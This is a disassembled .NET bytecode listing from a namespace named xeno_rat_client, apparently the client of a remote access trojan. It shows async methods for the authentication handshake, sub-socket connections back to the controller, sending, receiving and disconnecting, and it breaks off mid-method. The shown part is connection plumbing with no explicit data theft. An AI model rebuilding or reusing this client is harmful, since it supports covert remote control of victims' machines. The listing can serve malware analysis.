    00003d09ldfld <>1__state
    00003d0estloc.0
    00003d0fldloc.0
    00003d10brfalse.s IL_0072
    00003d12ldc.i4.1
    00003d13newarr System.Byte
    00003d18dup
    00003d19ldc.i4.0
    00003d1aldc.i4.1
    00003d1bstelem.i1
    00003d1cstloc.1
    00003d1dldarg.0
    00003d1eldfld subServer
    00003d23ldarg.0
    00003d24ldfld subServer
    00003d29ldfld sock
    00003d2eldarg.0
    00003d2fldfld data
    00003d34ldc.i4.1
    00003d35callvirt BytesToInt
    00003d3astfld SetId
    00003d3fldarg.0
    00003d40ldfld subServer
    00003d45ldloc.1
    00003d46callvirt SendAsync
    00003d4bcallvirt GetAwaiter
    00003d50stloc.2
    00003d51ldloca.s 2
    00003d53call get_IsCompleted
    00003d58brtrue.s IL_008e
    00003d5aldarg.0
    00003d5bldc.i4.0
    00003d5cdup
    00003d5dstloc.0
    00003d5estfld <>1__state
    00003d63ldarg.0
    00003d64ldloc.2
    00003d65stfld <>u__1
    00003d6aldarg.0
    00003d6bldflda <>t__builder
    00003d70ldloca.s 2
    00003d72ldarg.0
    00003d73call 0x2B00001F
    00003d78leave.s IL_00c2
    00003d7aldarg.0
    00003d7bldfld <>u__1
    00003d80stloc.2
    00003d81ldarg.0
    00003d82ldflda <>u__1
    00003d87initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003d8dldarg.0
    00003d8eldc.i4.m1
    00003d8fdup
    00003d90stloc.0
    00003d91stfld <>1__state
    00003d96ldloca.s 2
    00003d98call GetResult
    00003d9dpop
    00003d9eleave.s IL_00af
    00003da0stloc.3
    00003da1ldarg.0
    00003da2ldc.i4.s -2
    00003da4stfld <>1__state
    00003da9ldarg.0
    00003daaldflda <>t__builder
    00003dafldloc.3
    00003db0call SetException
    00003db5leave.s IL_00c2
    00003db7ldarg.0
    00003db8ldc.i4.s -2
    00003dbastfld <>1__state
    00003dbfldarg.0
    00003dc0ldflda <>t__builder
    00003dc5call SetResult
    00003dcaret
    00003d08
    00003de8
    00003de8xeno_rat_client.Node::Disconnect:
    00003de8ldloca.s 0
    00003deacall Create
    00003defstfld <>t__builder
    00003df4ldloca.s 0
    00003df6ldarg.0
    00003df7stfld <>4__this
    00003dfcldloca.s 0
    00003dfeldc.i4.m1
    00003dffstfld <>1__state
    00003e04ldloca.s 0
    00003e06ldflda <>t__builder
    00003e0bldloca.s 0
    00003e0dcall 0x2B000020
    00003e12ret
    00003de8
    00003e20
    00003e20xeno_rat_client.Node::ConnectSubSockAsync:
    00003e20ldloca.s 0
    00003e22call Create
    00003e27stfld <>t__builder
    00003e2cldloca.s 0
    00003e2eldarg.0
    00003e2fstfld <>4__this
    00003e34ldloca.s 0
    00003e36ldarg.1
    00003e37stfld type
    00003e3cldloca.s 0
    00003e3eldarg.2
    00003e3fstfld retid
    00003e44ldloca.s 0
    00003e46ldarg.3
    00003e47stfld OnDisconnect
    00003e4cldloca.s 0
    00003e4eldc.i4.m1
    00003e4fstfld <>1__state
    00003e54ldloca.s 0
    00003e56ldflda <>t__builder
    00003e5bldloca.s 0
    00003e5dcall 0x2B000021
    00003e62ldloca.s 0
    00003e64ldflda <>t__builder
    00003e69call get_Task
    00003e6eret
    00003e20
    00003e7c
    00003e7cxeno_rat_client.Node::Connected:
    00003e7cldarg.0
    00003e7dldfld sock
    00003e82ldfld sock
    00003e87callvirt get_Connected
    00003e8cstloc.0
    00003e8dleave.s IL_0018
    00003e8fpop
    00003e90ldc.i4.0
    00003e91stloc.0
    00003e92leave.s IL_0018
    00003e94ldloc.0
    00003e95ret
    00003e7c
    00003eb4
    00003eb4xeno_rat_client.Node::ReceiveAsync:
    00003eb4ldloca.s 0
    00003eb6call Create
    00003ebbstfld <>t__builder
    00003ec0ldloca.s 0
    00003ec2ldarg.0
    00003ec3stfld <>4__this
    00003ec8ldloca.s 0
    00003ecaldc.i4.m1
    00003ecbstfld <>1__state
    00003ed0ldloca.s 0
    00003ed2ldflda <>t__builder
    00003ed7ldloca.s 0
    00003ed9call 0x2B000022
    00003edeldloca.s 0
    00003ee0ldflda <>t__builder
    00003ee5call get_Task
    00003eearet
    00003eb4
    00003ef8
    00003ef8xeno_rat_client.Node::SendAsync:
    00003ef8ldloca.s 0
    00003efacall Create
    00003effstfld <>t__builder
    00003f04ldloca.s 0
    00003f06ldarg.0
    00003f07stfld <>4__this
    00003f0cldloca.s 0
    00003f0eldarg.1
    00003f0fstfld data
    00003f14ldloca.s 0
    00003f16ldc.i4.m1
    00003f17stfld <>1__state
    00003f1cldloca.s 0
    00003f1eldflda <>t__builder
    00003f23ldloca.s 0
    00003f25call 0x2B000023
    00003f2aldloca.s 0
    00003f2cldflda <>t__builder
    00003f31call get_Task
    00003f36ret
    00003ef8
    00003f44
    00003f44xeno_rat_client.Node::AuthenticateAsync:
    00003f44ldloca.s 0
    00003f46call Create
    00003f4bstfld <>t__builder
    00003f50ldloca.s 0
    00003f52ldarg.0
    00003f53stfld <>4__this
    00003f58ldloca.s 0
    00003f5aldarg.1
    00003f5bstfld type
    00003f60ldloca.s 0
    00003f62ldarg.2
    00003f63stfld id
    00003f68ldloca.s 0
    00003f6aldc.i4.m1
    00003f6bstfld <>1__state
    00003f70ldloca.s 0
    00003f72ldflda <>t__builder
    00003f77ldloca.s 0
    00003f79call 0x2B000024
    00003f7eldloca.s 0
    00003f80ldflda <>t__builder
    00003f85call get_Task
    00003f8aret
    00003f44
    00003f98
    00003f98<AuthenticateAsync>d__18::MoveNext:
    00003f98ldarg.0
    00003f99ldfld <>1__state
    00003f9estloc.0
    00003f9fldarg.0
    00003fa0ldfld <>4__this
    00003fa5stloc.1
    00003fa6ldloc.0
    00003fa7ldc.i4.5
    00003fa8ble.un.s IL_0029
    00003faaldarg.0
    00003fabldc.i4.7
    00003facnewarr System.Byte
    00003fb1dup
    00003fb2ldtoken 1D1CC35EA61331C5A85D2A960611153E37A62DCD916269D6E3B5A0DAC2EF3824
    00003fb7call InitializeArray
    00003fbcstfld <comp>5__2
    00003fc1nop
    00003fc2ldloc.0
    00003fc3switch (IL_0097, IL_00fc, IL_0168, IL_01fe, IL_0275, IL_0313)
    00003fe0ldloc.1
    00003fe1ldfld sock
    00003fe6ldc.i4 5000
    00003febcallvirt SetRecvTimeout
    00003ff0ldloc.1
    00003ff1ldfld sock
    00003ff6callvirt ReceiveAsync
    00003ffbcallvirt GetAwaiter
    00004000stloc.s 4
    00004002ldloca.s 4
    00004004call get_IsCompleted
    00004009brtrue.s IL_00b4
    0000400bldarg.0
    0000400cldc.i4.0
    0000400ddup
    0000400estloc.0
    0000400fstfld <>1__state
    00004014ldarg.0
    00004015ldloc.s 4
    00004017stfld <>u__1
    0000401cldarg.0
    0000401dldflda <>t__builder
    00004022ldloca.s 4
    00004024ldarg.0
    00004025call 0x2B000025
    0000402aleave IL_0391
    0000402fldarg.0
    00004030ldfld <>u__1
    00004035stloc.s 4
    00004037ldarg.0
    00004038ldflda <>u__1
    0000403dinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004043ldarg.0
    00004044ldc.i4.m1
    00004045dup
    00004046stloc.0
    00004047stfld <>1__state
    0000404cldloca.s 4
    0000404ecall GetResult
    00004053stloc.3
    00004054ldloc.1
    00004055ldfld sock
    0000405aldloc.3
    0000405bcallvirt SendAsync
    00004060callvirt GetAwaiter
    00004065stloc.s 5
    00004067ldloca.s 5
    00004069call get_IsCompleted
    0000406ebrtrue.s IL_0119
    00004070ldarg.0
    00004071ldc.i4.1
    00004072dup
    00004073stloc.0
    00004074stfld <>1__state
    00004079ldarg.0
    0000407aldloc.s 5
    0000407cstfld <>u__2
    00004081ldarg.0
    00004082ldflda <>t__builder
    00004087ldloca.s 5
    00004089ldarg.0
    0000408acall 0x2B000026
    0000408fleave IL_0391
    00004094ldarg.0
    00004095ldfld <>u__2
    0000409astloc.s 5
    0000409cldarg.0
    0000409dldflda <>u__2
    000040a2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000040a8ldarg.0
    000040a9ldc.i4.m1
    000040aadup
    000040abstloc.0
    000040acstfld <>1__state
    000040b1ldloca.s 5
    000040b3call GetResult
    000040b8brtrue.s IL_0129
    000040baldc.i4.0
    000040bbstloc.2
    000040bcleave IL_0376
    000040c1ldloc.1
    000040c2ldfld sock
    000040c7callvirt ReceiveAsync
    000040cccallvirt GetAwaiter
    000040d1stloc.s 4
    000040d3ldloca.s 4
    000040d5call get_IsCompleted
    000040dabrtrue.s IL_0185
    000040dcldarg.0
    000040ddldc.i4.2
    000040dedup
    000040dfstloc.0
    000040e0stfld <>1__state
    000040e5ldarg.0
    000040e6ldloc.s 4
    000040e8stfld <>u__1
    000040edldarg.0
    000040eeldflda <>t__builder
    000040f3ldloca.s 4
    000040f5ldarg.0
    000040f6call 0x2B000025
    000040fbleave IL_0391
    00004100ldarg.0
    00004101ldfld <>u__1
    00004106stloc.s 4
    00004108ldarg.0
    00004109ldflda <>u__1
    0000410einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004114ldarg.0
    00004115ldc.i4.m1
    00004116dup
    00004117stloc.0
    00004118stfld <>1__state
    0000411dldloca.s 4
    0000411fcall GetResult
    00004124stloc.3
    00004125ldloc.1
    00004126ldfld sock
    0000412bcallvirt ResetRecvTimeout
    00004130ldloc.1
    00004131ldarg.0
    00004132ldfld <comp>5__2
    00004137ldloc.3
    00004138call ByteArrayCompare
    0000413dbrfalse IL_034d
    00004142ldloc.1
    00004143ldfld sock
    00004148ldarg.0
    00004149ldfld type
    0000414ecallvirt IntToBytes
    00004153stloc.s 6
    00004155ldloc.1
    00004156ldfld sock
    0000415bldloc.s 6
    0000415dcallvirt SendAsync
    00004162callvirt GetAwaiter
    00004167stloc.s 5
    00004169ldloca.s 5
    0000416bcall get_IsCompleted
    00004170brtrue.s IL_021b
    00004172ldarg.0
    00004173ldc.i4.3
    00004174dup
    00004175stloc.0
    00004176stfld <>1__state
    0000417bldarg.0
    0000417cldloc.s 5
    0000417estfld <>u__2
    00004183ldarg.0
    00004184ldflda <>t__builder
    00004189ldloca.s 5
    0000418bldarg.0
    0000418ccall 0x2B000026
    00004191leave IL_0391
    00004196ldarg.0
    00004197ldfld <>u__2
    0000419cstloc.s 5
    0000419eldarg.0
    0000419fldflda <>u__2
    000041a4initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000041aaldarg.0
    000041abldc.i4.m1
    000041acdup
    000041adstloc.0
    000041aestfld <>1__state
    000041b3ldloca.s 5
    000041b5call GetResult
    000041babrtrue.s IL_022b
    000041bcldc.i4.0
    000041bdstloc.2
    000041beleave IL_0376
    000041c3ldarg.0
    000041c4ldfld type
    000041c9brtrue IL_02b6
    000041celdloc.1
    000041cfldfld sock
    000041d4callvirt ReceiveAsync
    000041d9callvirt GetAwaiter
    000041destloc.s 4
    000041e0ldloca.s 4
    000041e2call get_IsCompleted
    000041e7brtrue.s IL_0292
    000041e9ldarg.0
    000041ealdc.i4.4
    000041ebdup
    000041ecstloc.0
    000041edstfld <>1__state
    000041f2ldarg.0
    000041f3ldloc.s 4
    000041f5stfld <>u__1
    000041faldarg.0
    000041fbldflda <>t__builder
    00004200ldloca.s 4
    00004202ldarg.0
    00004203call 0x2B000025
    00004208leave IL_0391
    0000420dldarg.0
    0000420eldfld <>u__1
    00004213stloc.s 4
    00004215ldarg.0
    00004216ldflda <>u__1
    0000421binitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004221ldarg.0
    00004222ldc.i4.m1
    00004223dup
    00004224stloc.0
    00004225stfld <>1__state
    0000422aldloca.s 4
    0000422ccall GetResult
    00004231stloc.3
    00004232ldloc.1
    00004233ldfld sock
    00004238ldloc.3
    00004239ldc.i4.0
    0000423acallvirt BytesToInt
    0000423fstloc.s 7
    00004241ldloc.1
    00004242ldloc.s 7
    00004244stfld ID
    00004249br IL_033d
    0000424eldloc.1
    0000424fldarg.0
    00004250ldfld id
    00004255stfld ID
    0000425aldloc.1
    0000425bldfld sock
    00004260ldarg.0
    00004261ldfld id
    00004266callvirt IntToBytes
    0000426bstloc.s 8
    0000426dldloc.1
    0000426eldfld sock
    00004273ldloc.s 8
    00004275callvirt SendAsync
    0000427acallvirt GetAwaiter
    0000427fstloc.s 5
    00004281ldloca.s 5
    00004283call get_IsCompleted
    00004288brtrue.s IL_0330
    0000428aldarg.0
    0000428bldc.i4.5
    0000428cdup
    0000428dstloc.0
    0000428estfld <>1__state
    00004293ldarg.0
    00004294ldloc.s 5
    00004296stfld <>u__2
    0000429bldarg.0
    0000429cldflda <>t__builder
    000042a1ldloca.s 5
    000042a3ldarg.0
    000042a4call 0x2B000026
    000042a9leave.s IL_0391
    000042abldarg.0
    000042acldfld <>u__2
    000042b1stloc.s 5
    000042b3ldarg.0
    000042b4ldflda <>u__2
    000042b9initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000042bfldarg.0
    000042c0ldc.i4.m1
    000042c1dup
    000042c2stloc.0
    000042c3stfld <>1__state
    000042c8ldloca.s 5
    000042cacall GetResult
    000042cfbrtrue.s IL_033d
    000042d1ldc.i4.0
    000042d2stloc.2
    000042d3leave.s IL_0376
    000042d5ldloc.1
    000042d6ldarg.0
    000042d7ldfld type
    000042dcstfld SockType
    000042e1ldc.i4.1
    000042e2stloc.2
    000042e3leave.s IL_0376
    000042e5leave.s IL_0352
    000042e7pop
    000042e8leave.s IL_0352
    000042ealdc.i4.0
    000042ebstloc.2
    000042ecleave.s IL_0376
    000042eestloc.s 9
    000042f0ldarg.0
    000042f1ldc.i4.s -2
    000042f3stfld <>1__state
    000042f8ldarg.0
    000042f9ldnull
    000042fastfld <comp>5__2
    000042ffldarg.0
    00004300ldflda <>t__builder
    00004305ldloc.s 9
    00004307call SetException
    0000430cleave.s IL_0391
    0000430eldarg.0
    0000430fldc.i4.s -2
    00004311stfld <>1__state
    00004316ldarg.0
    00004317ldnull
    00004318stfld <comp>5__2
    0000431dldarg.0
    0000431eldflda <>t__builder
    00004323ldloc.2
    00004324call SetResult
    00004329ret
    00003f98
    0000436c
    0000436c<ConnectSubSockAsync>d__11::MoveNext:
    0000436cldarg.0
    0000436dldfld <>1__state
    00004372stloc.0
    00004373ldarg.0
    00004374ldfld <>4__this
    00004379stloc.1
    0000437aldloc.0
    0000437bldc.i4.3
    0000437cble.un.s IL_001b
    0000437eldloc.0
    0000437fldc.i4.4
    00004380beq IL_0278
    00004385ldc.i4.0
    00004386stloc.3
    00004387nop
    00004388ldloc.0
    00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
    0000439eldarg.0
    0000439fldc.i4.2
    000043a0ldc.i4.1
    000043a1ldc.i4.6
    000043a2newobj .ctor
    000043a7stfld <socket>5__2
    000043acldarg.0
    000043adldfld <socket>5__2
    000043b2ldloc.1
    000043b3ldfld sock
    000043b8ldfld sock
    000043bdcallvirt get_RemoteEndPoint
    000043c2call ConnectAsync
    000043c7callvirt GetAwaiter
    000043ccstloc.s 6
    000043celdloca.s 6
    000043d0call get_IsCompleted
    000043d5brtrue.s IL_00ac
    000043d7ldarg.0
    000043d8ldc.i4.0
    000043d9dup
    000043dastloc.0
    000043dbstfld <>1__state
    000043e0ldarg.0
    000043e1ldloc.s 6
    000043e3stfld <>u__1
    000043e8ldarg.0
    000043e9ldflda <>t__builder
    000043eeldloca.s 6
    000043f0ldarg.0
    000043f1call 0x2B000027
    000043f6leave IL_02ce
    000043fbldarg.0
    000043fcldfld <>u__1
    00004401stloc.s 6
    00004403ldarg.0
    00004404ldflda <>u__1
    00004409initobj System.Runtime.CompilerServices.TaskAwaiter
    0000440fldarg.0
    00004410ldc.i4.m1
    00004411dup
    00004412stloc.0
    00004413stfld <>1__state
    00004418ldloca.s 6
    0000441acall GetResult
    0000441fldarg.0
    00004420ldfld <socket>5__2
    00004425ldloc.1
    00004426ldfld sock
    0000442bldfld EncryptionKey
    00004430ldarg.0
    00004431ldfld type
    00004436ldloc.1
    00004437ldfld ID
    0000443cldarg.0
    0000443dldfld OnDisconnect
    00004442call ConnectAndSetupAsync
    00004447callvirt GetAwaiter
    0000444cstloc.s 8
    0000444eldloca.s 8
    00004450call get_IsCompleted
    00004455brtrue.s IL_012c
    00004457ldarg.0
    00004458ldc.i4.1
    00004459dup
    0000445astloc.0
    0000445bstfld <>1__state
    00004460ldarg.0
    00004461ldloc.s 8
    00004463stfld <>u__2
    00004468ldarg.0
    00004469ldflda <>t__builder
    0000446eldloca.s 8
    00004470ldarg.0
    00004471call 0x2B000028
    00004476leave IL_02ce
    0000447bldarg.0
    0000447cldfld <>u__2
    00004481stloc.s 8
    00004483ldarg.0
    00004484ldflda <>u__2
    00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
    0000448fldarg.0
    00004490ldc.i4.m1
    00004491dup
    00004492stloc.0
    00004493stfld <>1__state
    00004498ldloca.s 8
    0000449acall GetResult
    0000449fstloc.s 7
    000044a1ldarg.0
    000044a2ldloc.s 7
    000044a4stfld <sub>5__3
    000044a9ldc.i4.1
    000044aanewarr System.Byte
    000044afdup
    000044b0ldc.i4.0
    000044b1ldarg.0
    000044b2ldfld retid
    000044b7conv.u1
    000044b8stelem.i1
    000044b9stloc.s 4
    000044bbldarg.0
    000044bcldfld <sub>5__3
    000044c1ldloc.s 4
    000044c3callvirt SendAsync
    000044c8callvirt GetAwaiter
    000044cdstloc.s 9
    000044cfldloca.s 9
    000044d1call get_IsCompleted
    000044d6brtrue.s IL_01ad
    000044d8ldarg.0
    000044d9ldc.i4.2
    000044dadup
    000044dbstloc.0
    000044dcstfld <>1__state
    000044e1ldarg.0
    000044e2ldloc.s 9
    000044e4stfld <>u__3
    000044e9ldarg.0
    000044ealdflda <>t__builder
    000044efldloca.s 9
    000044f1ldarg.0
    000044f2call 0x2B000029
    000044f7leave IL_02ce
    000044fcldarg.0
    000044fdldfld <>u__3
    00004502stloc.s 9
    00004504ldarg.0
    00004505ldflda <>u__3
    0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00004510ldarg.0
    00004511ldc.i4.m1
    00004512dup
    00004513stloc.0
    00004514stfld <>1__state
    00004519ldloca.s 9
    0000451bcall GetResult
    00004520pop
    00004521ldc.i4.1
    00004522newarr System.Byte
    00004527dup
    00004528ldc.i4.0
    00004529ldc.i4.1
    0000452astelem.i1
    0000452bstloc.s 5
    0000452dldloc.1
    0000452eldloc.s 5
    00004530call SendAsync
    00004535callvirt GetAwaiter
    0000453astloc.s 9
    0000453cldloca.s 9
    0000453ecall get_IsCompleted
    00004543brtrue.s IL_021a
    00004545ldarg.0
    00004546ldc.i4.3
    00004547dup
    00004548stloc.0
    00004549stfld <>1__state
    0000454eldarg.0
    0000454fldloc.s 9
    00004551stfld <>u__3
    00004556ldarg.0
    00004557ldflda <>t__builder
    0000455cldloca.s 9
    0000455eldarg.0
    0000455fcall 0x2B000029
    00004564leave IL_02ce
    00004569ldarg.0
    0000456aldfld <>u__3
    0000456fstloc.s 9
    00004571ldarg.0
    00004572ldflda <>u__3
    00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    0000457dldarg.0
    0000457eldc.i4.m1
    0000457fdup
    00004580stloc.0
    00004581stfld <>1__state
    00004586ldloca.s 9
    00004588call GetResult
    0000458dpop
    0000458eldarg.0
    0000458fldfld <sub>5__3
    00004594stloc.2
    00004595leave IL_02ba
    0000459apop
    0000459bldc.i4.1
    0000459cstloc.3
    0000459dleave.s IL_0233
    0000459fldloc.3
    000045a0ldc.i4.1
    000045a1bne.un.s IL_029f
    000045a3ldc.i4.1
    000045a4newarr System.Byte
    000045a9stloc.s 10
    000045abldloc.1
    000045acldloc.s 10
    000045aecall SendAsync
    000045b3callvirt GetAwaiter
    000045b8stloc.s 9
    000045baldloca.s 9
    000045bccall get_IsCompleted
    000045c1brtrue.s IL_0295
    000045c3ldarg.0
    000045c4ldc.i4.4
    000045c5dup
    000045c6stloc.0
    000045c7stfld <>1__state
    000045ccldarg.0
    000045cdldloc.s 9
    000045cfstfld <>u__3
    000045d4ldarg.0
    000045d5ldflda <>t__builder
    000045daldloca.s 9
    000045dcldarg.0
    000045ddcall 0x2B000029
    000045e2leave.s IL_02ce
    000045e4ldarg.0
    000045e5ldfld <>u__3
    000045eastloc.s 9
    000045ecldarg.0
    000045edldflda <>u__3
    000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000045f8ldarg.0
    000045f9ldc.i4.m1
    000045fadup
    000045fbstloc.0
    000045fcstfld <>1__state
    00004601ldloca.s 9
    00004603call GetResult
    00004608pop
    00004609ldnull
    0000460astloc.2
    0000460bleave.s IL_02ba
    0000460dstloc.s 11
    0000460fldarg.0
    00004610ldc.i4.s -2
    00004612stfld <>1__state
    00004617ldarg.0
    00004618ldflda <>t__builder
    0000461dldloc.s 11
    0000461fcall SetException
    00004624leave.s IL_02ce
    00004626ldarg.0
    00004627ldc.i4.s -2
    00004629stfld <>1__state
    0000462eldarg.0
    0000462fldflda <>t__builder
    00004634ldloc.2
    00004635call SetResult
    0000463aret
    0000436c
    0000467c
    0000467c<Disconnect>d__10::MoveNext:
    0000467cldarg.0
    0000467dldfld <>1__state
    00004682stloc.0
    00004683ldarg.0
    00004684ldfld <>4__this
    00004689stloc.1
    0000468aldloc.0
    0000468bpop
    0000468cnop
    0000468dldloc.0
    0000468ebrfalse.s IL_008e
    00004690ldloc.1
    00004691ldfld sock
    00004696ldfld sock
    0000469bbrfalse IL_00b1
    000046a0call get_Factory
    000046a5ldloc.1
    000046a6ldfld sock
    000046abldfld sock
    000046b0ldftn BeginDisconnect
    000046b6newobj .ctor
    000046bbldloc.1
    000046bcldfld sock
    000046c1ldfld sock
    000046c6ldftn EndDisconnect
    000046ccnewobj .ctor
    000046d1ldc.i4.1
    000046d2ldnull
    000046d3callvirt 0x2B00002A
    000046d8callvirt GetAwaiter
    000046ddstloc.3
    000046deldloca.s 3
    000046e0call get_IsCompleted
    000046e5brtrue.s IL_00aa
    000046e7ldarg.0
    000046e8ldc.i4.0
    000046e9dup
    000046eastloc.0
    000046ebstfld <>1__state
    000046f0ldarg.0
    000046f1ldloc.3
    000046f2stfld <>u__1
    000046f7ldarg.0
    000046f8ldflda <>t__builder
    000046fdldloca.s 3
    000046ffldarg.0
    00004700call 0x2B00002B
    00004705leave IL_017b
    0000470aldarg.0
    0000470bldfld <>u__1
    00004710stloc.3
    00004711ldarg.0
    00004712ldflda <>u__1
    00004717initobj System.Runtime.CompilerServices.TaskAwaiter
    0000471dldarg.0
    0000471eldc.i4.m1
    0000471fdup
    00004720stloc.0
    00004721stfld <>1__state
    00004726ldloca.s 3
    00004728call GetResult
    0000472dleave.s IL_00cd
    0000472fpop
    00004730ldloc.1
    00004731ldfld sock
    00004736ldfld sock
    0000473bdup
    0000473cbrtrue.s IL_00c5
    0000473epop
    0000473fbr.s IL_00cb
    00004741ldc.i4.0
    00004742call Close
    00004747leave.s IL_00cd
    00004749ldloc.1
    0000474aldfld sock
    0000474fldfld sock
    00004754dup
    00004755brtrue.s IL_00de
    00004757pop
    00004758br.s IL_00e3
    0000475acall Dispose
    0000475fldloc.1
    00004760ldfld subNodes
    00004765call 0x2B00002C
    0000476astloc.2
    0000476bldloc.1
    0000476cldfld subNodes
    00004771callvirt Clear
    00004776ldloc.2
    00004777callvirt GetEnumerator
    0000477cstloc.s 4
    0000477ebr.s IL_0116
    00004780ldloca.s 4
    00004782call get_Current
    00004787dup
    00004788brtrue.s IL_0111
    0000478apop
    0000478bbr.s IL_0116
    0000478dcall Disconnect
    00004792ldloca.s 4
    00004794call MoveNext
    00004799brtrue.s IL_0104
    0000479bleave.s IL_0133
    0000479dldloc.0
    0000479eldc.i4.0
    0000479fbge.s IL_0132
    000047a1ldloca.s 4
    000047a3constrained. valuetype Enumerator<class xeno_rat_client.Node>
    000047a9callvirt Dispose
    000047aeendfinally
    000047afldloc.2
    000047b0callvirt Clear
    000047b5ldloc.1
    000047b6ldfld OnDisconnect
    000047bbbrfalse.s IL_014d
    000047bdldloc.1
    000047beldfld OnDisconnect
    000047c3ldloc.1
    000047c4callvirt Invoke
    000047c9leave.s IL_0168
    000047cbstloc.s 5
    000047cdldarg.0
    000047celdc.i4.s -2
    000047d0stfld <>1__state
    000047d5ldarg.0
    000047d6ldflda <>t__builder
    000047dbldloc.s 5
    000047ddcall SetException
    000047e2leave.s IL_017b
    000047e4ldarg.0
    000047e5ldc.i4.s -2
    000047e7stfld <>1__state
    000047ecldarg.0
    000047edldflda <>t__builder
    000047f2call SetResult
    000047f7ret
    0000467c
    00004850
    00004850<ReceiveAsync>d__13::MoveNext:
    00004850ldarg.0
    00004851ldfld <>1__state
    00004856stloc.0
    00004857ldarg.0
    00004858ldfld <>4__this
    0000485dstloc.1
    0000485eldloc.0
    0000485fbrfalse.s IL_004d
    00004861ldloc.1
    00004862ldfld sock
    00004867callvirt ReceiveAsync
    0000486ccallvirt GetAwaiter
    00004871stloc.s 4
    00004873ldloca.s 4
    00004875call get_IsCompleted
    0000487abrtrue.s IL_006a
    0000487cldarg.0
    0000487dldc.i4.0
    0000487edup
    0000487fstloc.0
    00004880stfld <>1__state
    00004885ldarg.0
    00004886ldloc.s 4
    00004888stfld <>u__1
    0000488dldarg.0
    0000488eldflda <>t__builder
    00004893ldloca.s 4
    00004895ldarg.0
    00004896call 0x2B00002D
    0000489bleave.s IL_00b0
    0000489dldarg.0
    0000489eldfld <>u__1
    000048a3stloc.s 4
    000048a5ldarg.0
    000048a6ldflda <>u__1
    000048abinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    000048b1ldarg.0
    000048b2ldc.i4.m1
    000048b3dup
    000048b4stloc.0
    000048b5stfld <>1__state
    000048baldloca.s 4
    000048bccall GetResult
    000048c1stloc.3
    000048c2ldloc.3
    000048c3brtrue.s IL_007f
    000048c5ldloc.1
    000048c6call Disconnect
    000048cbldnull
    000048ccstloc.2
    000048cdleave.s IL_009c
    000048cfldloc.3
    000048d0stloc.2
    000048d1leave.s IL_009c
    000048d3stloc.s 5
    000048d5ldarg.0
    000048d6ldc.i4.s -2
    000048d8stfld <>1__state
    000048ddldarg.0
    000048deldflda <>t__builder
    000048e3ldloc.s 5
    000048e5call SetException
    000048ealeave.s IL_00b0
    000048ecldarg.0
    000048edldc.i4.s -2
    000048efstfld <>1__state
    000048f4ldarg.0
    000048f5ldflda <>t__builder
    000048faldloc.2
    000048fbcall SetResult
    00004900ret
    00004850
    00004920
    00004920<SendAsync>d__14::MoveNext:
    00004920ldarg.0
    00004921ldfld <>1__state
    00004926stloc.0
    00004927ldarg.0
    00004928ldfld <>4__this
    0000492dstloc.1
    0000492eldloc.0
    0000492fbrfalse.s IL_0051
    00004931ldloc.1
    00004932ldfld sock
    00004937ldarg.0
    00004938ldfld data
    0000493dcallvirt SendAsync
    00004942callvirt GetAwaiter
    00004947stloc.3
    00004948ldloca.s 3
    0000494acall get_IsCompleted
    0000494fbrtrue.s IL_006d
    00004951ldarg.0
    00004952ldc.i4.0
    00004953dup
    00004954stloc.0
    00004955stfld <>1__state
    0000495aldarg.0
    0000495bldloc.3
    0000495cstfld <>u__1
    00004961ldarg.0
    00004962ldflda <>t__builder
    00004967ldloca.s 3
    00004969ldarg.0
    0000496acall 0x2B00002E
    0000496fleave.s IL_00b1
    00004971ldarg.0
    00004972ldfld <>u__1
    00004977stloc.3
    00004978ldarg.0
    00004979ldflda <>u__1
    0000497einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00004984ldarg.0
    00004985ldc.i4.m1
    00004986dup
    00004987stloc.0
    00004988stfld <>1__state
    0000498dldloca.s 3
    0000498fcall GetResult
    00004994brtrue.s IL_0080
    00004996ldloc.1
    00004997call Disconnect
    0000499cldc.i4.0
    0000499dstloc.2
    0000499eleave.s IL_009d
    000049a0ldc.i4.1
    000049a1stloc.2
    000049a2leave.s IL_009d
    000049a4stloc.s 4
    000049a6ldarg.0
    000049a7ldc.i4.s -2
    000049a9stfld <>1__state
    000049aeldarg.0
    000049afldflda <>t__builder
    000049b4ldloc.s 4
    000049b6call SetException
    000049bbleave.s IL_00b1
    000049bdldarg.0
    000049beldc.i4.s -2
    000049c0stfld <>1__state
    000049c5ldarg.0
    000049c6ldflda <>t__builder
    000049cbldloc.2
    000049cccall SetResult
    000049d1ret
    00004920
    000049f0
    000049f0xeno_rat_client.SocketHandler::RecvAllAsync_ddos_unsafer:
    000049f0ldloca.s 0
    000049f2call Create
    000049f7stfld <>t__builder
    000049fcldloca.s 0
    000049feldarg.0
    000049ffstfld <>4__this
    00004a04ldloca.s 0
    00004a06ldarg.1
    00004a07stfld size
    00004a0cldloca.s 0
    00004a0eldc.i4.m1
    00004a0fstfld <>1__state
    00004a14ldloca.s 0
    00004a16ldflda <>t__builder
    00004a1bldloca.s 0
    00004a1dcall 0x2B00002F
    00004a22ldloca.s 0
    00004a24ldflda <>t__builder
    00004a29call get_Task
    00004a2eret
    000049f0
    00004a3c
    00004a3cxeno_rat_client.SocketHandler::RecvAllAsync_ddos_safer:
    00004a3cldloca.s 0
    00004a3ecall Create
    00004a43stfld <>t__builder
    00004a48ldloca.s 0
    00004a4aldarg.0
    00004a4bstfld <>4__this
    00004a50ldloca.s 0
    00004a52ldarg.1
    00004a53stfld size
    00004a58ldloca.s 0
    00004a5aldc.i4.m1
    00004a5bstfld <>1__state
    00004a60ldloca.s 0
    00004a62ldflda <>t__builder
    00004a67ldloca.s 0
    00004a69call 0x2B000030
    00004a6eldloca.s 0
    00004a70ldflda <>t__builder
